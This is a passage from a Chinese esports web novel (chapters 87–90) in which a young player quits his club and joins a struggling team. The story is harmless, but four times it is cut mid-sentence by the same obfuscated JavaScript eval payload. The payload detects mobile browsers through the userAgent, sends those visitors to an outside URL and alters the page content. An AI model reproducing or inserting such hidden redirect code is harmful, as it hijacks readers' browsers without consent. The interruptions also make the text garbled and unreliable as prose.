训练室另一角,密切关注着大屏幕战况的其他队员面面相觑。 “我草,林哥疯了吗这是,感觉赢不了所以开送了?” “——这是打算把水晶强行点掉吧?” “射手本身血量就脆皮,贸然进场吃对面两个技能直接蒸发。这么做也太莽撞了……” “嘘,小点声儿。” 正在出声吐槽的青训队员被旁边的人伸手按住,后者皱眉接话道,“你们看。” “非指向性技能,他几乎都躲开了。” “擦,真的……这走位?!” 屏幕上,角色英雄靠着技能不断穿梭,靠极致的走位规避掉了绝大部分控制和伤害。 但仅剩不多的血量还是在对面几人的围攻下急剧减少——刚换上的复活甲被打了出来,公孙离原地起死回生,然后在敌方紧跟而上的集火伤害下闪出了个名刀的特效。 装备碎掉,血条清空的瞬间,林藏初的最后一记平A点在了敌方水晶上。 “我草!!真的打掉了!” 水晶爆炸的特效出现。 红方赢了。 “……吓死我了。”简一的心脏险些要从喉咙里跳出来,他脱力般向后缓缓靠坐在椅子上,“还能这么玩儿啊?” 林藏初摘下耳机。 Rain也终于松了口气,看向他:“恭喜。” 不出意外的话,林藏初日后应该会成为他的新队友。 Lin的职业水平毋庸置疑,从平时双排和今天的比赛就能够看出来,只是还有些莽撞的气质和路子要改。 思及此,他的脸上带了些真切的笑意:“等你正式加入,就可以跟我们一起上比赛场了。” 还没等林藏初接话,教练在远处拍了拍手,把两支队伍的人叫过去一起复盘。 对面的Dawn脸色不是很好,从训练桌前站起的时候一言不发,就连林藏初恰巧走在他身后的位置都没有管。 Rain这话到底还是说早了。 最终的人员变动结果由战队上层决定,这次选拔训练赛的比分只是个参考。 林藏初躺在卧室床上,右眼皮连着跳了两个晚上,终于在第三天一个天气不算晴朗上午被教练告知: 被选入二队的正式成员名单里没有他。 “……为什么?” 会议室里,林藏初站在副教练面前,少年的身量算不上高,但表情绷直严肃,嘴角紧紧抿着。 他看见了对方手里捏着的纸质通知——黎愿的名字俨然在列。 副教练避开他的视线,咳嗽两声,绕过林藏初的质问,转而谈起另外的话题:“我记得你中路的法刺打得也挺好吧?” “其实一队现在还缺个中路替补,如果你有意愿的话……” “如果我有意愿的话,就让我去一队打中路替补?” 林藏初蹙眉打断他的话,哈了一声,不怒反笑道:“教练,您当我是块儿砖吗?” “随便找个多余的空隙就塞过去了?” 整个LT-Stars基地有谁不知道一队的中单队员正值巅峰期? 其他位置的替补队员还能隔三差五地轮换上场比赛,而中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787206|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路这个位置说得好听是冠军替补,说得难听干脆点儿就是看饮水机。 “Lin,你在拒绝之前可要想好了。” 副教练战术性地清了清嗓,意有所指地提点道,“青训队里想成为一队替补的人比比皆是,现在是过了这个村就再没这个店儿。” “到时候如果你再想要这个位置,得花上几年的功夫也说不定——” “所以这就是我该把本来属于我的位置拱手相让的理由?” 林藏初几乎要被气笑了:“这就是你们TL-Stars对待青训队员的态度?” “林藏初!”副教练似乎是被他讥讽的话激怒了,他一拍桌子站了起来,“你要清楚,这件事我不是在跟你商量!” “我也同样不是在跟你商量。” 林藏初冷声道:“当初签的合同里面没提这种情况,我没注意算我倒霉。” “现在知道了,所以我认为我有和TL主动解约的权利。” “主动解约的权利?” 站在会议桌旁边的教练嗤笑一声,像是听见什么天大的笑话。 “先不提你到底是不是空口白牙讲的大话,就算是真的——合同里几十万的违约费,你出得起?” …… ………… TL-Stars基地会议室的墙壁有半面都是通透的玻璃,因此能从外面清楚地看见里面的状况。 但同时玻璃的隔音质量也做得极好,路过的人一般听不见会议室里在讲什么。 正是日常训练的休息时间,林藏初和副教练两个人在里面剑拔弩张地吵架,外面齐刷刷围了一群看热闹的脑袋。 离得最近的人只看见他们青训队的冠军抱着臂冷笑一声,随即副教练“啪”地重重一拍桌子,整个人愤怒地站起来。 可怜的椅子被教练粗暴地往后推了几十厘米,隔着面玻璃都能感觉到会议室里面的风雨欲来。 围观的同学感同身受地倒吸口冷气,但处于暴风眼中心的人非但没有退缩害怕,反而冲着教练抬了抬下巴,又讲了一句什么。 副教练的脸色风云变幻堪称精彩,而后众人就看见林藏初礼貌地后退一步,还顺手帮教练把踢歪的椅子扶正—— 然后气定神闲地迈着步伐朝会议室的出口走过来,唰一下拉开玻璃门。 许是他溢散出来的气势太过凶残,门外围着的青训队员们下意识往周围散了些,为他让出一条离开的通道。 “Simple呢?”林藏初双手插兜,表情恹然地随口问道,“他在这儿吗?” 人群里的简一被队友们热心肠的手掌无比迅速地推了出来,在林藏初面前踉跄几下才站稳:“……咋了林哥?” “LT-Stars的高层实在太傻逼了,都什么年代了还玩萝卜坑那一套。” 林藏初当着所有人的面开门见山:“抱歉,你有点倒霉,不小心被我牵连了。” “就算留在这儿也是浪费青春。所以下个月的转会期,你要不要跟我一起走?” 他视线认真地朝着简一看过来,口吻严肃、直入主题地补充道:“作为补偿,违约费我可以帮你一起付。” 简一:“……?” ???!! 林藏初这话的信息量着实有点大,不光是周围的其他队员瞠目结舌,就连简一本人一开始也是满脸的茫然。 电光石火间,他理清前因后果,几秒钟就想通其中关窍,嘴巴几乎张成了O型。 “……我草,还有这种好事儿?” 87.Chapter 87 两人份的解约费不是小数目,简一长这么大就没见过能把六位数的价格说得这么轻松的。 他一路恍惚地跟着林藏初回到卧室,期间组织无数次语言,终于还是忍不住朝人确认:“你刚才在楼下说的那些……到底是真的还是假的?” “?” 林藏初颇为奇怪地看他一眼:“当然是真的。” 简一:“……你怎么有那么多钱?” 林藏初:“自己攒的。” 简一:“啊??” 林藏初:“啊。压岁钱。” 简一:“??????” 等会儿,不是,谁家高中生攒压岁钱能攒几十万?? 他还没有消化完对方的这两句话,就看见林藏初蹲在地上,从行李箱里掏出来自己落了灰的电脑。 这么多天,简一就从来没见他拿出来过,如今乍一搬出来,简一眼尖地认出这是市面上最贵的那款——叫什么来着? 哦,对,外星人。 以其五位数的高昂价格,和相比之下略显脆弱的品控,被网友们戏称是“富哥们的玩具”。 “林哥……所以你……”跟人住了快两个月才发现对方是富二代,简一几乎有点道心破碎了,“……你其实是来电竞圈体验生活的,对吗?” “不对,我这叫追求理想。” 林藏初没有抬头,一边往桌子上铺鼠标垫,一边义正言辞地纠正他。 简一的视线从那款经典的限量鼠标样式上挪过去,只觉得自己现在无论再看见什么都不会惊奇了:“……” 他以前怎么就没发现呢? 林藏初平时队服里面穿的那些衣服虽然看不出来牌子,但质量都是一等一的好。周六日轮到他出去唱歌请客,也向来是订的最贵的包厢。还有之前刚来基地的时候,这人随手分给大家的进口零食—— 以前所有被简一不小心忽视的细节,全部在这一天集中涌现进了脑海。 他下意识地在心里为林藏初掰起手指:家里有钱,长得又帅,游戏也打得贼好。 TL-Stars的经理和教练以后要是知道,会不会后悔自己放走了个摇钱树? “简一,你有什么想去的战队吗?” 林藏初在电脑屏幕上点了几下,忽然开口问他。 简一从方才一大堆的胡思乱想里回过神:“啊……啊?” “没有。”他老实地回答道,“林哥你去哪儿我就去哪儿,我不挑的。” “就怕人家不要我。” 简一低下头,小小声地又嘟囔了一句。 像他们这种跟原战队闹掰解约的青训队员,名堂没有打出来,坏事反倒先传了千里——以林藏初的技术不担心会找不到下家,但是自己有没有要可就不一定了。 林藏初:“不会的。” “喏。”他伸手将屏幕转了个方向,指着网页上的某个战队介绍给简一看,“你瞧瞧这个。” 简一下意识顺着他的手指看过去——那是一支经常在季后赛里的败者组苦苦挣扎的队伍,SWX。 极为罕见的个人组建战队出身,两年前曾在赛场上昙花一现冲进过决赛圈,却以3:4的比分遗憾落败TL-Stars,与冠军失之交臂。 从那以后SWX一直在走下坡路,队员转会的转会,退役的退役,最近的几场比赛更是连A组都没能挺进。 凄惨程度就连他这种在TL-Stars里犄角旮旯的青训生都有所耳闻。 “我看过他们最近的几场比赛。” 林藏初用鼠标点开SWX战队的介绍界面,说道:“队长March作为上单,自身的实力很硬,基本上没有发挥失常过。” “打野Ash和中路Summer也不差,这两个位置在对局里崩盘的次数很少,打野的经济前期也大多数领先对面。” “而SWX的发育路则是他们一直以来的短板,几乎场场都会被对面打穿。” “头牌辅助退役,射手又直接转会去了其他战队——而他们前两个赛季新买过来的选手,似乎和老队员们配合得不是很好。” “换句话说,SWX战队之所以没有被淘汰出局,全是队里其他三个人的功劳。” 林藏初的手指轻轻地敲了敲桌子:“去年的秋季赛,SWX射辅两人的赛场表现都不尽如人意,但苦于队内没有替补,只能硬着头皮上场。最后的结果是被对面零封出局。” “……他们为什么不花高价买两个好点儿的选手?”简一忍不住问道,“新买的这两位好像都是别的战队淘汰下来的吧?” “可能的原因有很多。” 林藏初抬起眼皮,看了他一眼才道:“但我倾向于概率最大的一种。” 简一:“哪种?” 林藏初:“SWX没有钱。” 简一:“……草。” 好一个朴实无华的理由。他皱眉:“怎么可能?好歹也是俱乐部注资……” “我之前查过,SWX战队最开始是由队长March的个人名义组建而成,后面在次级联赛展露头角,被上级俱乐部收购。” 林藏初缓了口气,轻声解释道:“这几年SWX一直没能打出来成绩,几乎可以算是俱乐部的弃子了。” “……这样一看,这个战队根本就是强弩之末。” 简一坐在床边,没忍住又往电脑屏幕前面挪了挪,实在有点想不通:“所以林哥,你真要去SWX啊?” ——这不是自断前途吗? 后面剩下的话他没说,但是林藏初很是心有灵犀地听出来了。 他轻笑一声:“一支队伍到底是好是坏,不看它的过去,而要看它的未来。” “虽然这么说确实有一点玄学的意思在,但是我觉得以SWX的真正实力,离冠军只差最后的两块拼图。” 林藏初伸出手指,先是点了点简一的胸口,然后又点了点自己。 简一:“……?” 他缓缓张大嘴巴,脑袋里冒出来的第一个想法是这少爷疯了。 第二个想法是:疯也有疯的实力。 ……就是为什么把自己这个路人甲也给算在内了? 林藏初似乎知道他在想什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802077|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,拍了拍简一的肩膀:“你不试试怎么知道不行?” “况且你的辅助打得确实很好。” 他收回视线,叉掉电脑上的比赛网页:“不是所有选手都能一上来就和任何队友都配合得那么默契——但你可以做到。” “这个说白了就叫做天赋。”林藏初认真地看着他,“别人想要都强求不来,而你却恰恰拥有。” “……”简一被少爷夸得晕乎乎的,脸颊很快发起烫来,几乎有些飘然欲仙,“林哥,你说的都是真的吗?” “当然,我又没有骗你的必要。” 林藏初丝毫不觉得自己是在说什么哄人的话,眼神认真地看着对方,说,“属于你的潜力,不会因为那些不公平的外界因素而被轻易埋没。” 他顿了下,又道:“我也一样。” * 这场卧室里有关两个人以后职业生涯去向的密谈,最终以简一的感动落泪而潦草收尾——林藏初在他旁边麻木地负责递纸巾,并亲眼看见简一凭借一己之力迅速用完了整整一盒。 林藏初去隔壁借纸的时候心想:谢遥集说的果然是对的,有些话就应该自己老老实实地放在心里,别说出来。 更不要轻易讲给当事人听。 ……弄不好就会变成现在这种样子。 离转会期还有半个月的时间,林藏初虽然已经私底下跟TL-Stars战队单方面闹掰,但后者还是选择了在明面上继续装样子。 具体表现在每天的队内训练赛都要额外多给林藏初安排几场,该有的单人冠军特权也样样不差。 但开会复盘的时候教练会逮着细小的缺点拎出来单独批评,一骂就是半个小时。 如此几天的刻意针对下来,林藏初没怎么样,反倒是某个意想不到的人先说了话。 又一次被副教练明嘲暗讽点出“送人头”,林藏初早就见怪不怪、懒得解释。 坐在后面的简一想站起来骂,被后者懒洋洋地伸手拦住了。 跟傻逼讲再多的话也是浪费口水。 林少爷是这么和简一说的。 但想浪费口水的显然不止简一一个人。 林藏初把教练的辱骂声左耳进右耳出,原本耷拉着眼皮昏昏欲睡,结果视线余光忽然扫到会议桌前一个站起来的矮个子身影。 “简直狗屁不通。” ——他听见黎愿如此说道。 林藏初:“……” 瞬间精神了。 他还以为自己是眼花了。 向来跟自己不对付的Dawn,或者说就是招致这一切后果的源头,现在正直挺挺地站在教练面前:“他这波打的一点问题都没有。” “换掉敌方法师的同时还抢了条小龙——我请问呢,你到底是怎么说出来‘送人头’这仨字的?” “不会教可以不教。”Dawn冲着教练冷笑一声,“回家自己去打几局娱乐赛乐呵乐呵,都比你现在指着个视频战绩瞎几把乱说强。” 简一目瞪口呆地停下了嘴里嚼着的泡泡糖。 ……Dawn今天吃错药了? 88.Chapter 88 简一震惊地给林藏初使了个眼神:现在这是什么情况? 后者接收到他的疑问,也跟着茫然地摇了摇头,耸肩示意:我不知道啊? 屋子里的其他青训队员都默不作声,窝在会议桌旁边极力降低自己的存在感。只有Dawn一个人在跟副教练唇枪舌战,甚至已经隐隐有了要胜利的趋势。 林藏初缓慢地眨了下眼,忽然有点看不懂此刻的局面。 ……按理来说,Dawn跟他的关系也没好到这个地步吧? 不管是“两肋插刀”还是“路见不平”,听起来都很诡异——明明前两周的时候,这小孩儿还会趁着每次上下楼偶遇的功夫,对着自己嫌弃地翻个白眼再走。 但如果要说是黎愿自己和副教练结了仇,林藏初又实在拿不出什么事实依据。 有TL战队上面的高层人脉在,Dawn向来是青训队里的香饽饽,副教练和经理捧着他都来不及,又怎么会惹到他? 尤其是现在二队的正式晋升名额也是他的,放在一起就更讲不通了。 林少爷思来想去,脑袋都有些隐隐作痛,也可能是被几米开外气拔山河吵着架的两个人给叨扰的。 副教练被当场下了面子,气得脸色铁青,但又碍于Dawn的身份不敢明说什么。 ……黎愿的来历他还是知道的,要是真敢跟对方拿乔,恐怕用不上明天就能收到战队的开除邮件。 “抱歉,这局确实是我的分析失误。” 眼看着对方丝毫没有要松口的迹象,副教练忍了又忍,终于还是硬着头皮咽下了这个哑巴亏,“在这里先向大家道个歉,以后复盘的时候会更加注意些。” 这话说得冠冕堂皇,落脚点完全避开自己故意针对林藏初的事实,把两个人之间的恩怨化解成了赛后复盘不周的失误。 林藏初颇有些好笑地扯了下嘴角,看着对面勤勤恳恳地把这场好戏演完,也懒得出声揭穿他。 反倒是Dawn还在原来的地方站着。 他皱着眉头,似乎是不满意这个结果,还想再说些什么,结果被旁边的队友眼疾手快地捂着嘴拽回了座位。 因为这段掺杂在训练复盘里的浓墨重彩的小插曲,队伍的解散时间比平时晚了十几分钟。 林藏初拿到手机的时候,Q/Q置顶的聊天框里已经多了不少新消息。 很准地掐着基地日程表里休息的时间点儿,似乎对于少爷“什么时候有空”这件事,谢遥集比林藏初自己还要了如指掌。 林藏初整个上午都在面无表情,此时脸上难得多了些真切的笑意。 嘴角的弧度不自觉弯起,他从下往上地扒拉着手机屏幕,很快就找到了谢遥集发过来的第一条消息。 全自动滚蛋洗衣机:有吃早饭吗? 林藏初:“。” 怎么感觉昨天好像也是这句话。 少爷一直没有吃早饭的习惯,以前在家里的时候就没有,现在又来了基地大家的作息都不是很健康,就更加雪上加霜。 但是不耽误远在千里之外的男朋友每天耳提面命地督促他。 林藏初撇了下嘴,手指头在键盘上一个字母一个字母地按:嘿嘿,吃过啦。 ——其实根本没吃。 不仅今天没吃,昨天和前天也没吃。 但是林少爷不介意为了接下来两个人愉悦的聊天着想,而选择先对男朋友撒一个无伤大雅的小谎。 反正谢遥集又不能从临水县飞过来盯着他每天都吃早饭。 林藏初心里的如意算盘打得极好,消息发出去的一瞬间,他看见聊天框的上方状态栏立马变成了“对方正在输入中……”。 全自动滚蛋洗衣机:嗯。 全自动滚蛋洗衣机:从明天开始,把每天的早餐照片从相册里屏幕截图给我看。 全自动滚蛋洗衣机:记得带上拍摄时间。 林藏初:“……” 草。 千算万算不如人算。谢遥集完美地把他所有能够偷偷做假的地方全给堵上了。 这人怎么不干脆改行去当侦探啊? 林藏初木着脸把自己刚要改掉对方备注的手指收回来,返回聊天界面。 “全自动滚蛋洗衣机”已经冒出来了一条新的长气泡: 最近都没怎么听你说起战队的事,这几天训练还顺利吗? ……不顺利。烦得要死。 林藏初噼里啪啦地打出长长的一段话。先是大骂一顿教练的傻逼行径,然后又讲自己以后可能不在TL-Stars了,马上就要逃窜去其他战队。 对话框里的吐槽装得满满当当几乎放不下。他顿了几秒,没往外发,抿着唇一口气全给删了。 又在屏幕键盘上重新打字: 挺好的呀。就是昨天中午阿姨做的菜有点咸了。 消息发出去不过三秒,聊天框上面的状态栏又开始长长短短地变起来。 林藏初站在基地二楼的楼梯拐角,握着手机静静地等。 ——然后他就听见后面的走廊里传来一个脆生生的熟悉声线。 之所以说熟悉,是因为半小时前的这个声音还在会议室里为了他,跟教练气势汹汹地大吵一架。 林藏初本来是不想偷听的。 但奈何Dawn的嗓门儿实在太大,声线又介于变声期之间,还带着些少年的稚嫩。 所以对方讲的话无比清晰地传进了他的耳朵里:“你为什么要让我去二队?” “林藏初明明比我打得更好!” “……”兴许是因为听见了自己的名字,林藏初想要上楼离开的脚步一顿。 黎愿好像是正在跟谁打电话,中间空了很久,可能对面又说了些什么,林藏初听见他的语气逐渐变得气愤:“我想要的位置自己可以拿!现在这样算什么?” “那剩下那个人呢?他难道就活该失去晋升名额吗?” “我不要——我说了我不要!” 最后这句话几乎是被人吼出来的,林藏初似有所悟地低下头,掌心里握着的手机忽然嗡地震了声。 是谢遥集给他回的消息。 于是再后面的对话林藏初没有听,他忙着转身上楼去餐厅,好尽职尽责地给男朋友汇报今天的午饭吃什么。 其实就算听了也无济于事。 不管真正的缘由如何,某个人到底是好是坏,造成的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808409|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果都是一样的。 他改变不了,也没办法放心地把自己的命运交给别人去决定。所以只能在能力范围之内另辟蹊径地闯出一条路来。 简一早早地等在餐厅的角落里,林藏初中途拐回去卧室拿蓝牙耳机,迟了几分钟才到。 刚端着餐盘坐下,就听见隔壁桌的队员在聊八卦:“你们听见了没?” “Dawn刚才在楼下打电话跟大老板吵起来了——好像就是因为去二队的事。” “可他不是已经选上正式队员了吗?” 另一个人从碗里扒拉了几口饭,边吃边接话,“这还有什么不满意的,总不能把人直接提到一队去打首发吧?” “具体的不知道,反正吵得很厉害。万一呢?” 先出声的队员感慨道:“当初Dawn空降青训的时候,我就觉得会有这么一天。” “……还好我根本就够不上去二队的标准,成不了那个被他挤下来的人。” “这种事只能说轮到谁谁倒霉,严格意义上来说整个TL-Stars都能算人家的附属资产,他当然是横着走——今天复盘的时候不是还跟教练发火来着?” …… 这几位进TL-Stars的时间比林藏初和简一要早得多,所以知道的事也更多。 简一坐在他们背后的位置安静地听了几分钟,然后咽下嘴里的菜,小声地跟林藏初咬耳朵:“原来Dawn背后的人脉这么厉害。那他为什么会和那个人吵架啊?” 林藏初:“……不清楚。” 他垂下眼睛,用筷子扒拉了下自己盘子里的米饭:“可能有其他原因吧。” 放在桌面上的手机再次亮了屏,林藏初腾出手划开锁屏界面,Q/Q聊天框里的谢遥集发来几张新图片。 似乎是街边一家新开的奶茶店。 门店外面张灯结彩的,橱窗拉了打折横幅,路边的木板上写着新款奶茶限时买二赠一、会员充值优惠八八折。 全自动滚蛋洗衣机:之前这里的那家已经倒闭了,被现在的奶茶店老板盘下来,重新开了一家。 全自动滚蛋洗衣机:他们家新品很多,班里的同学尝过,说是很好喝。 全自动滚蛋洗衣机:也不知道合不合你的口味,等哪天你回来了,我们一起去买。 上次两个人一起喝奶茶,好像还是很久之前的事。那天谢遥集特意带了一本厚厚的新的物理练习册过来,林藏初硬着头皮做了几道选择题,结果全错。 他在谢遥集的注视下咬着奶茶吸管,很是破防地猛喝一大口,结果那天点的奶茶真就特别难喝。 红豆糯米差点全呛进喉咙里,林藏初咳得惊天动地,奶茶店里除了他们俩还有另外一伙打扑克的,听见声音之后全都放下手里的牌,震惊地回过头看他们。 谢遥集一边帮他拍背顺气,一边不好意思地朝着对面道歉,也不知是道的哪门子歉——可能只是单纯出于礼貌。 林藏初盯着聊天框里那几张街边奶茶店的图片看了半天,虽然这么讲有些难为情,但是他不得不承认,自己此时此刻确实很想念那段日子,想念谢遥集。 跟那杯难喝的奶茶没有半毛钱关系。 89.Chapter 89 简一眼睁睁地看着林藏初在拿起手机之后就像换了个人似的,脸上的肃穆全都消失不见,嘴角快要弯上天。 ……跟他平时见到的那个酷哥形象完全不一样。 他没敢多问,沉默着把自己碗里的饭菜给扒拉完了。这顿午饭吃得很快,两个人收拾好碗筷一前一后地下楼,然后就在楼梯拐角冤家路窄地碰上了Dawn。 后者今天很是罕见地没来基地餐厅吃饭,也就无从得知餐桌上那些有关自己的编排。 但目前让人注意的重点显然不是这个。 Dawn的鼻尖和眼睛略微有些发红,看上去像是刚刚哭过。 他似乎是没想到能在这里遇上林藏初,看到人的时候脚底下都跟着打了个绊儿,踉跄了几步才扶着楼梯稳住身形。 按照以往的正常流程,接下来应该是白眼和冷嘲热讽的环节。 林藏初站在原地抱臂等了一会儿,结果只看见少年握着楼梯扶手的手指微微收紧,表情紧绷地张了张嘴,什么话都没说出来。 十几岁孩子的心思再好懂不过,想表达的东西几乎全明晃晃地写在脸上。 林藏初读出来那其实是一句临到嘴边的抱歉,只是因为这些时日里的仇视和竞争,所以显得极为别扭和讲不出口。 抓在铁质楼梯上的掌心出了汗,长达十几秒钟的天人交战里,黎愿终于迈过自己心里那道坎儿,艰难地出了声:“我……” “今天的事情,谢了。” 林藏初忽然开口打断他,没给对方继续说下去的机会。 “……” 聊天话题起得突兀,Dawn原本打好的草稿全都作废了,他怔了下,才想起来林藏初说的是上午复盘时候的那件事。 自己先前在镜子前排练过无数遍的对话和回复,被这人一句话就挑没了用武之地。 黎愿站在原地咽了下口水,想不出来要怎么接话,只好干巴巴地“噢”了一声。 “我要走了。”他听见林藏初说道,“所以,现在可能是你最后一次跟我拌嘴的机会,确定就这么在楼梯上傻站着?” “走?” 黎愿肉眼可见地表情慌了,下意识地喊了他的名字问:“林藏初,你要去哪儿?” 林藏初:“这个不能说。” 话音落下,旁边刚要伸手过去捂他嘴的简一瞬间松了口气,缓缓收回动作。 ……还好还好,他林哥还没有傻到这种自爆底细的地步。 要是Dawn就这么跑回去找高层大佬告状,他们俩这事儿估计真是一个也别想走。 不知道是林藏初这句话恰好点到了对方的哑穴,还是黎愿一开始就没组织好聊天语言,总之他不可置信地瞪大双眼,忽然向后退了一步。 看得出来是真的想问些什么,又在要说出口前突兀地止了话音。 “……” 林藏初看着他,说道:“我知道你想讲的话。也能猜出来你想问什么。” “你有你要走的路,而我也有我的个人选择。” “不是的!我可以不……” 黎愿很想说,我可以不要二队的位置,把它完完整整地还给你。 但触及到林藏初此刻的目光,讲到一半又忽然什么都说不出口。 因为对方的眼神好像在说:我不稀罕。 林藏初双手插兜朝着他迈了一步,填上黎愿方才下意识退开而拉远的距离。 两个人站的位置一高一低,黎愿怔怔地仰起头,看着这个漂亮的、大他几岁的少年朝自己扯出个灿烂的笑容。 “有缘的话,我们以后赛场上再见。” * 星期日。下午两点。 DIARY咖啡馆。 靠近角落的某个卡座里,四位客人安静肃穆地相对而坐,侍应生将最后一杯拿铁上齐,SWX的队长齐舟越抬起头,温和地朝人说了声谢谢。 随后他将桌面上的咖啡向左边推了几厘米,视线又落回到自己面前的两个人身上。 良久,齐舟越终于再次开口。 “……所以你的意思是,你现在已经主动和TL-Stars提了解约?” “对。” 林藏初干脆地点了点头,大方回答道。 齐舟越看向对方的视线里多了些认真,他将林藏初从上到下仔细打量一遍,指尖在杯壁上轻轻摩挲了几下。 “如果我没记错的话,TL-Stars战队就连青训生的解约费也要从六位数往上。” 林藏初听出来了他这话后面的未竟之意。 ——那可是别人挤破脑袋都进不去的TL-Stars,几乎没有青训生自己主动离开的先例,他图什么? “那里的位置不太适合我。” 林藏初没有多说,抬眼朝着坐在对面的齐舟越看过去,只补充道:“至于为什么会选择SWX,基本可以理解成是我个人的一场赌博行为。” “对于现在的SWX来说,你的这个决定确实可以算作是场豪赌。” 齐舟越笑了:“不过作为被押的那一方,我很希望最后的结果是正确的。” 旁边一直没说话的白尘忽然出声插话:“可你现在还没和TL正式解约吧?万一我们答应了,你又中途反悔怎么办?” “这就是我接下来要说的。” 林藏初点了点桌面:“具体的解约流程这几天已经在走,你们不用担心和TL的合同纠纷。” “在转会期之前就可以去你们的队伍试训,并且在正式入队后的半年内一分钱不要。” 白尘:“?” 对方这话说得太过于轻松,要不是提前从队长那里看了资料,他几乎都要以为这人是个骗子。 ——专门骗他们这种走投无路身无分文的黄昏职业战队。 队里的那两个人早就表现出了要转会的心思。想拦也拦不住。等他们一走,SWX就连首发的名额都凑不齐。 俱乐部已经下了最后通牒,夏季赛打完要是还拿不出来什么成绩,SWX整个战队原地解散。 如果是真的,无异于是直接解决了SWX的燃眉之急,但天底下哪有这么好的馅饼? 怎么可能有人真的不要工资,主动来当其他战队半年的免费劳动力? 白尘看见自家队长挑了下眉,略微诧异地又确认一遍:“你知道你在说什么吗?” “当然知道。” 对面的人直了直身体,语气不疾不徐:“六个月的零酬基础工资,只拿战队参加比赛的奖金分成。” “这是我能对SWX拿出的最大诚意。” 白尘彻底被他的话震惊到,缓缓张大嘴巴:“这……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811832|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “如果你们对此没什么异议的话。”林藏初顿了下,又道,“我只有一个要求。” 越齐舟问:“什么要求?” 林藏初:“正式打夏季赛之前,我要离开一段时间。” …… ………… “他们居然真的就这么同意了。” 从咖啡馆出来的回去路上,简一还有些恍惚,林藏初替他提的那些要求看着让人心惊肉跳,但SWX几乎全都一一答应了。 这跟简一之前想象中那种唇枪舌战的激烈谈判场景完全不一样。 职业赛事规定在队电竞选手不能私自与其他俱乐部联系,但他们已经和TL-Stars提出解约,所以不属于这个范畴。 但就算如此,今天这场谈判也实在太过于顺利了,顺利得简一都觉得有种不真实感。 林藏初轻笑一声:“你是不是觉得SWX根本不会轻易要两个连赛场都没上过的青训选手?” 简一点点头:“是啊。毕竟也是个曾经的老牌战队……虽然最近几年战绩落寞,但瘦死的骡子比马大,他们队长怎么敢直接答应换掉现在的首发辅助?” 林藏初:“当然是因为他们现在的射辅马上要跑了。” 简一:“什么?” 他震惊地停下脚步,转头问道:“你是怎么知道的?” “春季常规赛第一轮,SWX对上XY.Z的那场,第三局SWX的辅助跟喝醉一样在峡谷里逛街。后期爆发的几波团战射手永远冲在最前面,不知道的还以为他玩的是坦克上单。” “最后在三路顺风的情况下,能被XY.Z一波团灭直接推上高地绝地翻盘。” 林藏初语气懒洋洋的:“你猜猜他俩有没有提前给自己找好退路?” 他这么一说,简一也想起来那场比赛,当时看直播的时候根本没人发现异常,大家都只觉得SWX输得可惜。 现在再想来几乎处处都是蹊跷。 而SWX战队根本没有能上场的替补,就算能察觉到队员在明里暗里地开演,对这种情况也别无他法。 简一叹了口气,可能是因为自己马上就要成为SWX战队的人了,同情心也开始跟着成倍上涨:“好可怜。” “不过话又说回来,林哥。” 他又想到些别的,犹豫着问:“你真的不要工资啊?” “……就为了让队长答应给你那一个月的假期?” 林藏初:“嗯。” 两个人已经走出了商业区,并排站在主路边上,简一看着他朝着马路随意地招了下手,一辆出租车缓缓停在路边。 简一站得近些,他拉开后排车门,钻进去之前仍然有点想不明白:“什么事情要忙这么久啊?” 林藏初单手插兜地站在外边,帮他扶着车门,慢吞吞地答:“哦,你问这个。” 周围短暂地安静了几秒,远处的马路上传来轿车此起彼伏的鸣笛声。 就在简一直觉他应该不会再回答的时候,身旁的后座忽然多了重量。 林藏初坐进车内,然后探身拉上车门。旁边的车窗被司机早早摇下,风顺着缝隙,从这人的发丝间晃悠悠地吹过来。 简一听见他说:“因为我要回去陪一个很重要的人高考。” “如果错过了,就再没有下次机会了。” 90.Chapter 90 林藏初从TL-Stars搬去SWX基地那天是个风和日丽的上午。 